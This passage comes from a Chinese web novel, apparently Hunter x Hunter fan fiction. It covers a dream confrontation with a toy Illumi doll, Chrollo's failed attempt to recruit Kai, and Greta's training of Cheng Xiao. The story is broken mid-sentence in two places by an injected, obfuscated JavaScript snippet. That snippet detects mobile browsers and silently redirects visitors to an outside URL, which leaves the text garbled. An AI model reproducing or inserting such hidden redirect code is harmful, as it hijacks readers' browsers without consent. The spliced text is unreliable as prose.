一股极其复杂的情绪涌上心头——有被拖欠尾款(虽然现在看来情有可原)的恼火,有对这位前雇主处境的惊愕,更有一种……难以言喻的酸楚。那个在她印象里像个精密机器的男人,背后竟然是这样孤注一掷的图景。 程笑的反应却截然不同。 他没有震惊,没有唏嘘。他只是静静地看着那片混合的黑暗,脸上浮起一种近乎悲悯的冷笑。 “……真是傻子。”他低声说,声音轻得像怕惊扰什么,却又带着刺骨的寒意,“为了别人,把自己逼到这个地步。” 格雷塔一愣,下意识反驳:“???话也不能这么说……流星街那些孩子,也确实可怜……” 程笑转过头,看向她。那双总是盛着玩世不恭或夸张情绪的眼睛里,此刻只剩下一种看透本质的疲惫与痛心。 “孩子也好,‘姐姐’也好,程笑也好……”他一个个数过去,每吐出一个词,语气就更沉一分,“他总是这样。” “把别人的期望、责任、甚至苦难,一件件扛到自己身上。用他那套该死的、精准的‘等价交换’逻辑,算出自己该付出多少,然后……就真的毫不打折地去付,哪怕粉身碎骨。” 程笑的声音开始发颤,不是悲伤,而是一种压抑到极致的愤怒: “他以为这是在‘赎罪’?是在‘负责’?放屁!这根本就是一种最高级别的心理疾病!因为他太好了,好到觉得全世界的不幸都该由他来背!好到觉得别人的命都比自己的金贵!好到……连‘自私’地为自己活一次,都成了他程序里无法运行的错误代码!” 他猛地攥紧拳头,尽管在意识空间里这毫无意义: “所以伊尔迷能控制他,流星街能拖住他,连我……连我这个莫名其妙的穿越者,都能理所当然地享受他的计算和保护!” “不是世界在逼他,老板娘。是他自己,一步一步,亲手把自己雕琢成了这副……完美、无私、随时准备为任何‘值得’的理由去死的鬼样子!” 程笑喘了口气,仿佛用尽了力气。他眼中的愤怒渐渐褪去,只剩下深不见底的悲哀。但这份悲哀很快开始向内坍缩,扭曲成一种熟悉的、令人窒息的东西。 他看着周围翻涌的、象征着凯的痛苦与牺牲的黑暗,又低头看了看自己——这具因“赎买”而透支、因逃避而疲惫的身体。 一个念头,如同毒藤般死死缠住了他的思维: “……以凯的头脑和手腕,他本该是坐在棋盘远端、执子落定乾坤的那种人。” 程笑的声音变得很轻,近乎呓语,每一个字都浸透了自我贬斥的毒液: “他应该穿着剪裁完美的西装,在安全的房间里分析数据,制定战略,让敌人连他的影子都摸不到……就像他曾经为揍敌客做的那样,高效、冷酷、万无一失……而不是像现在这样……被困在一具破破烂烂的人偶里,跟着我这种废物东躲西藏,每天算计着怎么从垃圾桶里翻下一顿饭,还要时刻担心被一群变态盯上。” 他的指甲深深掐入掌心:“是我拖累了他。” “如果没有我这个累赘,他或许早就……早就用更聪明、更体面的方式,去做他想做的事了。是我把他拽进了泥潭,让他变得这么……狼狈。” 程笑的头越垂越低,那粘稠的黑雾仿佛感应到了新的“养料”,开始以他为中心,更加活跃地滋生、蔓延: “我能活到现在……每一次绝处逢生,哪次不是靠他的计算?哪次不是靠他提前埋下的后手?离了他,我早就死了一万次了……我欠他的,拿什么还?” 完美的逻辑闭环,致命的认知陷阱。 格雷塔在一旁听着,从最初的恍然,到中间的同情,再到此刻,她忍不住抬手扶住了额头。 “……老天。”她喃喃道,感觉自己的职业素养和耐心都在接受终极考验,“你刚刚还在愤慨,说凯那种把全世界责任往自己身上揽是病得不轻。” 她指向程笑,语气里充满了荒谬感: “那你现在这是在干什么?把‘拖累凯’当成你最新的罪状,然后开始新一轮的自我鞭挞?绕了一大圈,你俩病的根本是同一个地方!只不过他是‘过度负责’,你是‘过度自责’!病灶都是——觉得自己不配好好活着!” 同样是将自我价值绑定于对他人的“亏欠”与“拖累”,只不过是镜像的另一面。 程笑猛地一震,像被这句话刺中了要害,瞳孔微微收缩。但周围的黑雾并没有散去,反而因为剧烈的情绪波动而更加浓郁,能见度已经低到只能看清彼此模糊的轮廓。 格雷塔心里暗骂一声。讲道理看来是没用了,这俩病人的逻辑已经自成体系,坚不可摧。 必须换策略。猎人处理危险状况,有时需要引导,有时则需要……制造一个更显眼的“靶子”。 她的目光,锐利地投向那扇在记忆回响中出现过的、沉重的门。门后,是凯记忆中那个冰冷汇报的伊尔迷,是揍敌客,是追捕者,是造成这一切困境的外部压力源头。 在普通的梦境治疗(或者说,她的“创收”经验)里,一个简单粗暴但往往有效的方法是:和做梦者一起,找个明确的敌人来骂。 同仇敌忾能快速凝聚注意力和情绪,将内部消耗转化为对外部的愤怒,往往能暂时驱散阴霾。 程笑缓缓抬起头,看向那扇门。眼中复杂的自我消解,似乎真的被一丝冰冷的恨意所取代。是啊……伊尔迷。揍敌客。追兵。那些真正造成伤害的源头…… 可恨意燃起的瞬间,更深处的东西翻涌上来——是恐惧。对绝对力量差的恐惧,对那种非人掌控欲的恐惧,对再次失去、再次无能为力的恐惧。这恐惧如此真实,甚至让周围的黑雾都凝成了铁锈般的腥气。 他攥紧的拳头松了又紧,指尖冰凉。冲进去?拿什么打?这具透支的身体,这见底的念力……理智在尖叫着警告,而恐惧正试图将警告变成永恒的枷锁。 就在这自我对抗的僵局中—— “让开!” 格雷塔受够了这凝滞的气氛和越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894325|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来越浓的绝望黑雾。她不再等待程笑那永远在权衡利弊(和恐惧)的头脑做出决定。猎人信奉行动。她一个箭步上前,在那扇象征着所有压迫与噩梦的门前,抬脚,用力一踹! “吱呀——” 门,开了。 没有预想中揍敌客主宅那吞噬一切的冰冷与肃杀。 门后,是一个……房间。一个看起来甚至有些狭窄、昏暗,像是儿童玩具屋放大版的房间。 而房间的地板上、架子上,散落着许多东西。 是人偶。 一个个只有手掌大小,做工说不上精致甚至有些粗糙的人偶。有穿着黑色和服、长发披散的女性人偶(基裘),有块头较大、抱着手臂的男性人偶(席巴),还有…… 程笑的瞳孔微微收缩。 他看到了那个“伊尔迷”人偶。 它被摆在房间中央一个小小的高台上,穿着简单的黑色衣服,脸上用简单的笔画点着两个黑点算是眼睛。它正以一种极其笨拙、缓慢、关节僵硬的方式,试图在高台上“移动”——手臂一卡一卡地抬起,腿以一种不自然的弧度慢慢挪动,像个发条不太够的劣质玩具。 没有恐怖的念压,没有空洞吞噬一切的眼神,没有精密计算带来的绝对压迫感。 只有一个可笑、笨拙、甚至有点可怜的玩具,在努力扮演着“可怕”的角色。 ……就这? 程笑愣住了。 所有在脑海中构建出的、那个庞大、冰冷、不可战胜的“揍敌客噩梦”……所有让他夜不能寐的压迫感,所有让凯失去自我、让程笑东躲西藏的根源…… 其内核,剥去力量、权势、念能力的华丽外衣后,投射在他心灵最深处的形象…… 就他妈的是这么个玩意儿?! 一种情绪,比愤怒更炽烈,比恐惧更尖锐,猛地攫住了他——是巨大的、被愚弄了的羞耻,和随之而来的、要将这愚弄彻底焚毁的暴怒! 他想起了那个比喻——被细绳拴住的小象。绳子早已腐朽,力量早已足够,困住它的,只是“绳子无法挣脱” 这个早在幼年就被烙进灵魂的谎言! 这扇门,这些想象中的强敌,这种深植于心的无力感……不就是那根心理上的细绳吗?!一个由恐惧滋养出的、荒诞的谎言! 在梦里,在意识里,如果连在这里都不敢亲手拆穿这个谎言,那它就会变成真的,会长成真正的枷锁。 “哈……”程笑发出一声短促的、像是被呛到的笑声。然后,这笑声变了调,充满了自嘲,和一种破釜沉舟的明悟。 他脸上的犹豫和恐惧,像面具一样剥落。取而代之的,是一种极端冷静的、近乎研究者的疯狂。 他没有冲进去乱砸。 他走了进去,步伐甚至带着一种奇异的郑重。 他停在那个还在笨拙移动的“伊尔迷”人偶面前,居高临下地审视着它。 “原来……一直让我不敢回头、不敢停留、甚至不敢大口呼吸的东西……”程笑轻声说,像是在对玩具说话,又像是在对自己灵魂中某个颤抖的部分宣告,“长这样啊。” 他伸出手,不是粗暴地抓握,而是用指尖,轻轻碰了碰人偶那僵硬抬起的胳膊。 “脆弱。” 咔嚓。胳膊被轻易地掰断,掉在地上,发出塑料的轻响。 他又点了点人偶那用墨点画出的眼睛。 “空洞。” 手指抹过,墨迹晕开,变成一团滑稽的污渍。 最后,他托起整个人偶,掂了掂。 “轻得可笑。” 然后,他做了一件让格雷塔挑眉的事。 他抬起头,看向她,眼神清亮得吓人,那里面燃烧的不是怒火,而是一种冰冷又炙热的创作欲。 “老板娘,”他的声音平稳,甚至带着一丝请教的意味,“你说,要怎么‘处理’一件……曾经让你怕得要死,结果发现只是个劣质仿品的东西?” 格雷塔愣了一下,下意识回答:“……扔了?或者,烧了?” “不。”程笑摇头,嘴角勾起一个令格雷塔后背发凉的、充满灵感的微笑,“那太便宜它了。也太……遗忘了。” 他需要记住这份“恐惧可笑”的真相。他需要一种方式,将“恐惧”永久性地转化成别的东西。 “我要改造它。”程笑说,开始四下寻找,“我要给它打上我的烙印。我要让这个‘恐惧的象征’,从此以后,每次出现在我脑海里,带来的第一反应不再是颤抖……” 他找到了想要的东西——可能是从“基裘”人偶身上扯下的、一段俗艳的粉红色绸缎。 “……而是荒谬,是滑稽,是一想到它现在的样子,就忍不住想笑的那种感觉。” 他开始动手。不是胡乱捆绑,而是以一种精心设计的、充满恶趣味的方式,将那段绸缎缠绕在残破的“伊尔迷”人偶身上,打成一个夸张的、歪歪扭扭的蝴蝶结,正好遮住那被抹花的脸。 他又捡起“席巴”人偶旁边一个更小的、可能是“糜稽”的胖人偶,把它塞进“伊尔迷”人偶的怀里,弄成一个滑稽的“父子拥抱”造型。 “我要‘污染’它。”程笑一边调整细节,一边平静地解释,仿佛在陈述一个作战计划,“不是消灭恐惧,而是篡改它的‘定义’。从今往后,伊尔迷·揍敌客这个名字,在我程笑的意识词典里,会永远跟‘穿粉红裙子抱胖娃娃的劣质玩具’这个形象,牢牢绑定在一起。” 他完成了“作品”。 一个残破、被涂抹、系着可笑蝴蝶结、抱着胖娃娃的“伊尔迷”人偶,以一种极其别扭滑稽的姿态,立在原地。 程笑后退一步,欣赏着。 然后,他笑了。 不是狂笑,不是冷笑。是一种……如释重负的、甚至带着点顽劣的轻笑。 “看,”他对格雷塔说,指了指那个丑陋的改造品,“它再也吓不到我了。” 不是因为它被摧毁了。 而是因为它被我,用我的方式,重新‘定义’了。 轰—— 仿佛某种内在的、锈死的阀门被这股混合着嘲弄、创意与决绝的情绪洪流冲开。 那一直弥漫的、粘稠的、代表自我压抑与恐惧的黑雾,如同阳光下的残雪,开始飞速消融、退散。 恐惧没有被“战胜”。 它被“解构” 了,被 “降维” 了,被程笑用他特有的、近乎无赖又充满智慧的方式,变成了一场属于他个人的、胜利的玩笑。 格雷塔看着眼前的一切,看着程笑眼中那奇异的光彩,她忽然有点懂了。 对于程笑这种人,或许最好的疗法,不是告诉他“不要怕”。 而是给他工具,让他亲手把“恐惧”拆解、重组,变成一个他能嘲弄的玩具。 梦境开始剧烈晃动,光怪陆离。 程笑最后看了一眼那个滑稽的“作品”,转身走向格雷塔。 他的脚步,比之前轻快了许多。 “走吧,老板娘,”他说,语气里带着久违的、真实的轻松,“梦该醒了。” “外面……还有真的‘劣质玩具’等着我们去收拾呢。” 49.第 49 章 凯的意识悬浮在无尽的黑暗中,没有光,没有声音,只有纯粹的“存在”感。 他正在尝试。 尝试主动切断与人偶躯壳那无形却坚韧的链接。意念如同最精密的探针,沿着链接的“弦”逆向追溯,试图找到某个可以松脱的“结”。 无效。 链接本身仿佛是一种超越他当前理解层面的规则,并非由“念”构成,更像是某种概念性的绑定。只要他的意识还存在,只要原初的“凯·希拉里昂”没有真正消亡,这具为他特制的“意识之偶”就是他无法拒绝的归巢。 看来,‘时间’是唯一的释放条件。 但随即,一个新的数据引起了他的注意。 本次链接持续时间:约 8小时 42 分。 历史参考数据(森林测试):稳定上限 6 小时。 凯的核心逻辑开始高速运转,剔除环境干扰因子(伊尔迷房间的念压环境相对稳定,优于森林),推导出最可能的解释: 能量消耗差异。 在森林中操纵人偶进行移动、侦查、甚至可能的战斗预备,消耗了额外的‘某种能量’,导致维持时间缩短。而在此地,保持静默待机状态,能量消耗降至最低,维持时间得以延长。 看来,操纵人偶进行任何形式的活动,都会加速‘意识驻留时间’的消耗。想要延长可控时间,必须最大限度地减少非必要动作。 就在这时,外部感官传来一阵电话铃声,接着是衣物摩擦的细微声响,和房门打开又关上的声音。 伊尔迷离开了。 房间陷入更深的寂静。只有窗外极远处传来的、属于枯枯戮山本身的低沉风鸣。 凯没有轻举妄动。伊尔迷的离开可能是个陷阱,也可能是家族例行事务。在信息不足的情况下,保持现状是最优选择。 他继续在意识中推演着各种参数,从人偶材料的应力极限,到揍敌客内部巡逻的可能间隙,再到如果程笑此刻遭遇袭击,自己强行脱离链接进行远程意识投送的可行性及代价…… 思考,是他存在的方式,也是他抵御这片冰冷寂静的唯一武器。 然后—— 一只手,带着人类的体温和不容置疑的力道,轻轻地、却足以让凯意识剧震地,拍在了人偶的肩膀上。 不是伊尔迷。 伊尔迷不会这样“触碰”他。伊尔迷的接触更像对待物品的拿取或摆放。 这个触碰,带着一种刻意的、甚至带有某种宣告意味的侵入感。 凯的“视线”瞬间转向侧后方。 黑色大衣,额头的逆十字,还有那双平静深邃、仿佛能吸收所有光线的黑色眼眸。 库洛洛·鲁西鲁。 不知何时,他如同鬼魅般出现在这个属于伊尔迷·揍敌客的绝对私域里,就站在人偶(凯)的身后,甚至保持着那个将手搭在“凯”肩膀上的姿势。 凯的整个意识体都因这极致的意外和荒谬而凝固了半秒。 这家伙怎么进来的?伊尔迷的安防系统是纸糊的吗?还是说…… ……他是故意的?在伊尔迷被叫走的这个精准时间点出现? 无数警报和计算在凯的核心炸开,但最终汇成一句冰冷平静的意念传递,直接投向库洛洛: “…这是伊尔迷·揍敌客的房间。”(潜台词:你疯了?在这里接触我?) 库洛洛仿佛接收到了这份意念。他非但没有收回手,反而就着这个近乎“挟持”或“并肩”的姿势,微微俯身。 他的声音压得很低,如同耳语,却清晰得不容错辨: “我知道。” “所以,让我们直接进入正题吧。” 他没有浪费一秒在寒暄或解释上。 “凯·希拉里昂。或者,我该称呼你为……‘揍敌客家曾经的影子财政官’,以及‘流星街无名线的编织者’?” 人偶静默。 库洛洛从怀中取出一枚小小的、不起眼的存储器(侠客处理过的情报摘要),指尖把玩着,声音平稳如陈述报告: “侠客复原了你当年在揍敌客内部系统留下的部分操作日志。很干净,但并非无迹可寻。通过经济流向、物资损耗的异常波动、以及几个关键外部节点的交叉比对……我们大致勾勒出了你当年的‘业务范围’。” 他向前半步,语气里那份欣赏变得更加具体,甚至带上了同行间的敬意:“以非念能力者之身,潜伏于世界第一杀手家族的核心经济与信息枢纽,数年时间内,系统性、隐蔽地转移大量资源,定向输送回流星街……并且,在被发现后,竟然不是被当场处决,而是以‘婚姻’这种极具象征意义(且荒谬)的形式被保留下来。” 库洛洛顿了顿,金色瞳孔在暗处微光闪烁:“这证明了两件事。第一,你的‘价值’高到让席巴·揍敌客都愿意打破常规,试图‘回收利用’。第二,你的‘能力’——不仅仅是信息处理,更是战略布局、风险控制和心理博弈——达到了某种令人惊叹的水平。” 他抛出了真正的核心诱饵: “蜘蛛的起源在流星街。保护它,是我们的本能,也是我们行事的部分逻辑基础。你在揍敌客所做的一切,尽管手段和路径不同,但最终指向的‘目的地’……与我们并无二致。” “伊尔迷能给你什么?一座更精致的监狱,一个‘所有物’的标签,以及永无止境的‘监控’与‘修正’。” “而和我合作,”库洛洛的声音压低,充满了蛊惑性的务实,“你可以获得资源、情报网络、以及一定程度上的‘行动自主权’。我们目标是一致的。程笑和你的能力,是未知的富矿;而揍敌客,是我们共同的、需要谨慎处理的‘障碍’。” “你的头脑,加上旅团的执行力与情报网,我们能做的,远比你在揍敌客内部孤军奋战时……更多,也更有效率。” “至于程笑,‘蜘蛛’会给他专业的指导和庇佑。当然,你也可以随时挑选一位成员对你进行保护。所以…你可以毫无顾虑。” 凯:“…” 库洛洛的提议,像一份精心设计的完美合同,摊开在自己面前。资源、自由、共同目标、对程笑的“妥善安置”……甚至贴心地考虑了凯的战力短板,承诺提供“专业指导”和可自选的专属保镖。 理性的天平在剧烈摇晃。库洛洛的洞察力可怕得惊人,他几乎精准地命中了凯所有潜在需求:实现价值的平台、对流星街的实际助益、程笑的“安全”保障、以及那份被郑重对待的“专业性”认可。 有那么一瞬,凯的核心逻辑几乎要导出那个冰冷的最优解:接受。这对所有人(尤其是流星街)的效益总和最高。 库洛洛捕捉到了那刹那的动摇,黑色瞳孔中闪过一丝志在必得的微光。他仿佛已经看到,这颗绝顶聪明的头脑,将为旅团的行动带来何等精妙的升级。 “所以……”库洛洛的声音放得更缓,带着收网的从容。 “我拒绝。” 凯的声音响起,平静,却毫无转圜余地。 库洛洛完美的表情出现了一丝极细微的裂纹:“……理由?”他迅速复盘,条件应该无懈可击。 “程笑。”凯补充道:“他太干净了。” 库洛洛:“……”(脑中瞬间闪过友客鑫空荡荡的宝库、漫天飞舞的通缉令、和程笑那张笑嘻嘻挑衅的脸。)他难得地感到一阵荒谬的语塞,“……干净?”这个词从蜘蛛头子嘴里说出来,带着一种奇异的扭曲感。 “他抗拒无必要的杀戮。”凯解释道,意识波动传递出一种复杂的情绪,“他的‘底线’比这个世界多数人要高,也更……脆弱。蜘蛛的行事准则,他无法接受,更不可能融入。” 库洛洛立刻调整策略,展现出惊人的灵活性:“他可以作为‘编外成员’。享受庇护和资源,不参与具体行动。”这几乎是破例的白给条款。 凯的意识传来一声几不可闻的叹息,像是在嘲笑库洛洛终于也犯了“不理解程笑”的错误。 “那样更糟。”凯说,“那会把他置于‘接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16910876|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受恶人恩惠’的道德困境。一边依赖你们的保护,一边憎恶你们的行径……这比直接的敌人更能摧毁他。” 库洛洛沉默了。他精通人性,立刻明白了凯的意思。那种撕裂感,对于程笑那种内核矛盾(表面疯狂内心却有奇怪坚持)的人来说,确实是慢性毒药。 所有的理性筹码似乎都已用尽。 库洛洛看着眼前沉默的人偶,一种罕见的、近乎“不甘”的情绪涌上心头。这不仅是失去一个人才的惋惜,更像是对命运随机性的一种冰冷愤怒。 “如果……”库洛洛忽然开口,声音很轻,却带着一丝不易察觉的紧绷,“当初你意识漂流时,没有遇到程笑,而是……被我或者旅团的其他人‘捡到’呢?” 问题抛出的瞬间,连库洛洛自己都微微怔了一下。这不像他。这太像一种……无用的假设,一种情绪化的追问。 人偶没有立刻回答。 黑暗中,时间仿佛被拉长。 然后,库洛洛“感到”了一道目光——尽管人偶的眼珠并未转动,但他清晰地感知到,凯的“意识”正在“看”着他。 没有言语。 但库洛洛懂了。 如果最初就没有程笑这个变量,如果凯睁开眼看到的是蜘蛛的巢穴而非程笑那玩世不恭的脸……以凯的理性、他对效率的追求、以及流星街这个共同根基,他极有可能会选择加入旅团,成为库洛洛手中最锋利、也最隐蔽的一把战略之刃。 这个无声的答案,像一颗冰冷的子弹,击中了库洛洛。 一种混合着巨大遗憾和更强烈占有欲的冲动,猛地攫住了他。既然曾经可能,那么现在—— 他忽然向前半步,拉近了与人偶的距离。这个动作依然优雅,但速度比之前快了一丝,透露出一种不容置疑的专注: “变量,可以后期修正或纳入考量。”他的声音平稳,却带着一种可怕的笃定,“最优解路径,不会只有一条。” 他伸出手,不是急切地抓取,而是如同收藏家准备将展品放入特定展位般,稳定、精准地探向人偶。 然而—— 噗。 在他指尖即将碰触的前一瞬。 人偶在他眼前缩小了。 从“可能”,变回了“空洞”。 库洛洛的手停在半空,掌心躺着那个突然变得轻飘飘的玩偶。 他脸上没有任何表情。只是缓缓地、缓缓地收拢手指,将小小的人偶握在掌心。 “吱呀——” 房门被推开。走廊的光线泻入,勾勒出伊尔迷·揍敌客高挑、笔挺的身影。他站在门口,没有立刻进来,那双漆黑的猫眼,先是在黑暗的房间内缓缓扫视,然后,精准地定格在了库洛洛身上,以及……库洛洛手中那个明显是刚刚“变化”过的、巴掌大小的凯之人偶。 空气死寂。 伊尔迷的脸上没有任何表情,但周遭的温度仿佛骤降。 库洛洛的大脑在百分之一秒内评估了所有选项。 而伊尔迷,在令人窒息的沉默中,向前走了一步。他的目光从库洛洛脸上,移到人偶上,再移回库洛洛脸上。 然后,他用那种特有的、平铺直叙的语调,开口了: “哦。” “你上次说,是你‘用念能力暂时把它变成了凯’。” (他当然一个字都不信。但现在,这是个完美的、倒打一耙的借口。) 伊尔迷歪了歪头,仿佛在认真提出一个技术性质询: “维持时间真短。” “那么,你现在能再‘变’一次吗?” “我有点事,需要和‘凯’确认。” 他甚至还做了个“请开始你的表演”的手势,眼神空洞而专注地看着库洛洛,仿佛真的在等待一场魔术。 库洛洛:“…………” 伊尔迷这番话,是赤裸裸的、带着冰冷嘲讽的刁难。他在用库洛洛自己编造的谎言,将对方架在火上烤。 你编的谎,现在圆给我看。 50.第 50 章 程笑猛地从沙发上弹坐起来,心脏还在为梦境最后那场荒诞又畅快的“精神弑神”狂跳。汗水浸透了后背,但意识却异常清明,仿佛淤积的污垢被一场暴雨冲刷干净。 随即,他意识到了什么。 太安静了。 不是环境,是内部。那个总是平静地待在他意识角落、随时准备给出分析和警告的“声音”,不见了。 凯呢?! 一瞬间的慌乱攥紧了他的心脏。但他几乎是立刻深吸一口气,把那股不安压了下去。 “冷静,程笑。那可是凯。” 他对自己说。 那个能从揍敌客偷家、能算计伊尔迷、能在死后还玩出意识寄生花活的凯·希拉里昂。 他不在,只可能有一个原因——他去做一件必须由“他自己”去做的事了。 大概率,是去取回那具留在远方的“意识之偶”身体。毕竟,谁也不喜欢一直当个没有实体的幽灵。 “应该……快回来了吧。” 程笑揉了揉眉心,试图让自己相信这个推断。他需要相信。 “醒了?”格雷塔的声音从吧台后传来,带着一丝探究和……某种不祥的“商业热情”。 她端着两杯水走过来,递给程笑一杯,自己抱着另一杯,在对面坐下。她看着程笑,眼神锐利得像在评估一件刚出土的、麻烦不断的文物。 “在你那场……呃,‘丰富多彩’的梦里,”格雷塔斟酌着用词,“我听到了不少‘有趣’的东西。比如,你认识凯。我的前老板,凯。” 程笑心里咯噔一下,面上却条件反射地扯出无辜的笑容:“啊?有吗?梦里说的话怎么能作数呢老板娘,我——” “尾款。”格雷塔打断他,吐字清晰,“他失踪前,最后一笔交易的尾款,还没结。” 程笑:“……” “你知道他在哪,对吧?”格雷塔身体前倾,笑容和蔼,眼神却像在说“敢撒谎试试看”。 程笑眨巴眨巴眼睛,努力让表情更真诚:“……真不知道。老板娘,你看我像知道的样子吗?” 我真不知道他具体在哪拿身体啊!只知道他肯定会回来! 格雷塔:“…………” 她沉默地盯着程笑看了足足五秒,然后慢悠悠地喝了口水。 “你看我信吗?”她放下杯子,声音平静无波,“一个能跟凯的意识在梦里‘聊天’、明显关系匪浅、而且看起来一肚子秘密的小子,会不知道你那‘同伴’的下落?” 程笑还想挣扎:“我们真的只是——” “行了。”格雷塔站起身,拍了拍手,打断了程笑的狡辩。她脸上那种追债的执着稍微褪去,换上了一种更让程笑头皮发麻的、“既然暂时找不到债主,那就先从担保人身上找点利息” 的表情。 “我不管你是真不知道还是装傻。”格雷塔走到酒馆相对空旷的一角,活动了一下手腕,“但你现在住我的店,欠我的‘房费’虽然用情报抵了一部分,可精神损失费还没算。” 她回头,对程笑露出一个堪称“阳光”的笑容:“而且,你不是想让你的敌人穿裙子吗?” 程笑一愣。 “光在梦里撕玩具可没用。”格雷塔指了指地板,“现实里,你得有那个实力,才能把裙子……哦不,是把你那些疯狂的念头,真的套到别人头上。” “所以,”她语气陡然变得干劲十足,“在凯回来‘结账’之前——你,归我练了!” 程笑:“……???等、等等!这不——” “加油!”格雷塔已经摆出了指导的架势,声音洪亮地打断了他,“想象一下!等你变强了,别说裙子,让他穿露脐装、亮片裤衩、荧光粉紧身衣都行!一切皆有可能!” 程笑被这一连串极具画面感的“精神鼓舞”震得目瞪口呆,还没来得及吐槽这品味的可怕,格雷塔的训练就已经如同狂风暴雨般开始了。 并非战斗技巧,而是最基础的体能、反应、以及念力的精细控制练习。格雷塔显然是个经验丰富的实践派,针对程笑目前透支后恢复、念力不稳的特点,设计了一套……让人□□的恢复性折磨。 “呼吸节奏不对!重来!” “念力附着在指尖,不是整只手!你是要戳人还是拍苍蝇?!” “再来一组!想想露脐装!亮片在阳光下闪耀的样子!” 程笑:“………………(咬牙硬撑,汗如雨下)” 他感觉自己像一块被放在铁砧上反复捶打的生铁,每一寸肌肉都在哀嚎。格雷塔不愧是二星猎人,眼光毒辣,专挑他的薄弱处下手。 “先说好……!”程笑在又一次差点瘫倒时,从牙缝里挤出声音,“凯一回来……就休息!!!” 这是他最后的倔强和盼头。 格雷塔看了看时间,又看了看程笑惨白的脸色,终于大发慈悲般点了点头:“行啊,他回来,你就歇着。” ——而此刻,他们话题的中心人物,凯的意识,正悄无声息地“回归”了。 并非直接落入程笑脑海。在接近酒馆的瞬间,凯就敏锐地感知到了内部剧烈的念力波动和程笑那濒临极限的生理信号。 他没有立刻介入。 而是如同一个最高效的观测者,将自己的意识“悬挂”在程笑精神世界的外围,冷静地“看”着。 他看到了程笑咬牙切齿的坚持,看到了格雷塔严格却不含恶意的训练,也“听”到了程笑那句“凯一回来就休息”的宣言。 不过目前来看——— 程笑身体负荷:87%,接近临界,但未伤及根本。 格雷塔训练目的:恢复性强化,效率可观。 程笑心理状态:急需一个“中断理由”,但尚在可承受范围。 结论:此刻介入,会打断一次有效的训练进程,且可能让程笑产生依赖心理。最优解——等待训练自然达到程笑自我设定的中止条件。 于是,凯就那样静静地“悬停”着,如同一位最有耐心的医生,等待病人自己完成最后一次痛苦的复健动作。 他“看”着程笑又完成了一组格雷塔要求的、极其别扭的念力操控练习,整个人如同从水里捞出来一样,眼神都有点发直,撑着膝盖大口喘气,几乎连说话的力气都没了。 格雷塔看了看程笑的状态,终于喊了停:“可以了,今天到这。你小子底子比我想的还虚。” 程笑如蒙大赦,直接就要往地上瘫。 就是现在。 凯的意识,如同归巢的倦鸟,又如同一滴精准滴落的甘露,悄无声息地、平稳地,落回了程笑意识深处那个熟悉的“位置”。 所有链接瞬间接通。 疲惫感、酸痛感、还有那点委屈和“终于解脱了”的念头,如同数据流般清晰无误地传递了过来。 同时传来的,还有凯那平静无波、如同系统提示音般的意念: “建议补充水分与电解质,静止休息30分钟。” 程笑瘫在地上,感受着脑海里那失而复得的、令人安心的“存在感”,先是一阵狂喜,随即涌上的就是滔天的“委屈”和控诉。 他在心里咆哮:‘凯!你终于回来了!你知不知道我差点被老板娘练死?!你怎么才回来啊!’ 凯的回应依旧理性:“观测显示,训练未达到危险阈值。且你最后阶段的坚持,对念力控制的稳定性有0.7%的微幅提升。效率尚可。” 程笑:“……”(一口气差点没上来。) 格雷塔看着突然僵住、表情变幻莫测的程笑,挑了挑眉:“怎么了?练傻了?” 程笑缓缓抬起头,看着格雷塔,脸上露出了一个混合着疲惫、解脱和某种“家长回来了”的告状意味的复杂表情。 他张了张嘴,然后,用尽最后一丝力气,清晰地说道: “…他回来了。” “所以……我,休·息·了。” 说完,眼睛一闭,仿佛真的力竭“昏睡”过去。只是嘴角,勾起了一抹终于安心的、细微的弧度。 格雷塔愣了一下,随即明白了什么,看向程笑的目光变得有些意味深长。 她摇了摇头,转身去准备淡盐水,嘴里嘀咕着: “一个两个的……都这么麻烦,不过……回来得倒是挺‘及时’。” 酒馆里,只剩下程笑逐渐平稳下来的呼吸声。 凯掌控了身体的控制权,那双总是带着点跳脱或夸张情绪的眼睛,此刻只剩下一片沉静如水的理性。 他尝试动了动手指,确认连接无误。随即,更详细的感官数据涌入——肌肉如同被灌满了酸铅,每一个关节都在发出过载的呻吟,念力回路干涸晦涩,肺部火辣辣地疼。 评估:身体状态濒临崩溃,强制行动将导致损伤。优先静止恢复。 于是,他放弃了站起来的打算,只是用尚能控制的脖颈和背部力量,缓缓地、有些僵硬地撑起上半身,从瘫倒改为靠坐在墙边。这个简单的动作已经让他额头渗出细密的冷汗,呼吸略微加重。 格雷塔端着水杯走过来,一眼就看到了这截然不同的姿态和眼神。 不是程笑那种累瘫了也要挤眉弄眼的鲜活,而是一种沉静、克制、带着精密仪器般疏离感的疲惫。就像一台超负荷运转后强制进入待机状态的超级电脑。 她脚步顿了顿,眼神瞬间锐利起来。 “哟,”她把水杯往旁边小桌上一放,抱着胳膊,居高临下地看着靠在墙边的“程笑”,“终于舍得‘上线’了?我亲爱的、失踪了这么久、还拖欠尾款的、前、老、板?” 话音未落,她闪电般出手——食指弯曲,快准狠地弹在了“程笑”的脑门上! “咚!”一声脆响。 凯被这突如其来的物理攻击打得微微后仰,脸上没什么表情,但那双沉静的眼睛里,罕见地掠过一丝纯然的困惑。 还没等他从“脑瓜崩攻击”的无效性分析中回过神来,格雷塔的双手已经捏住了“程笑”尚带着婴儿肥的脸颊,毫不客气地向两边拉扯。 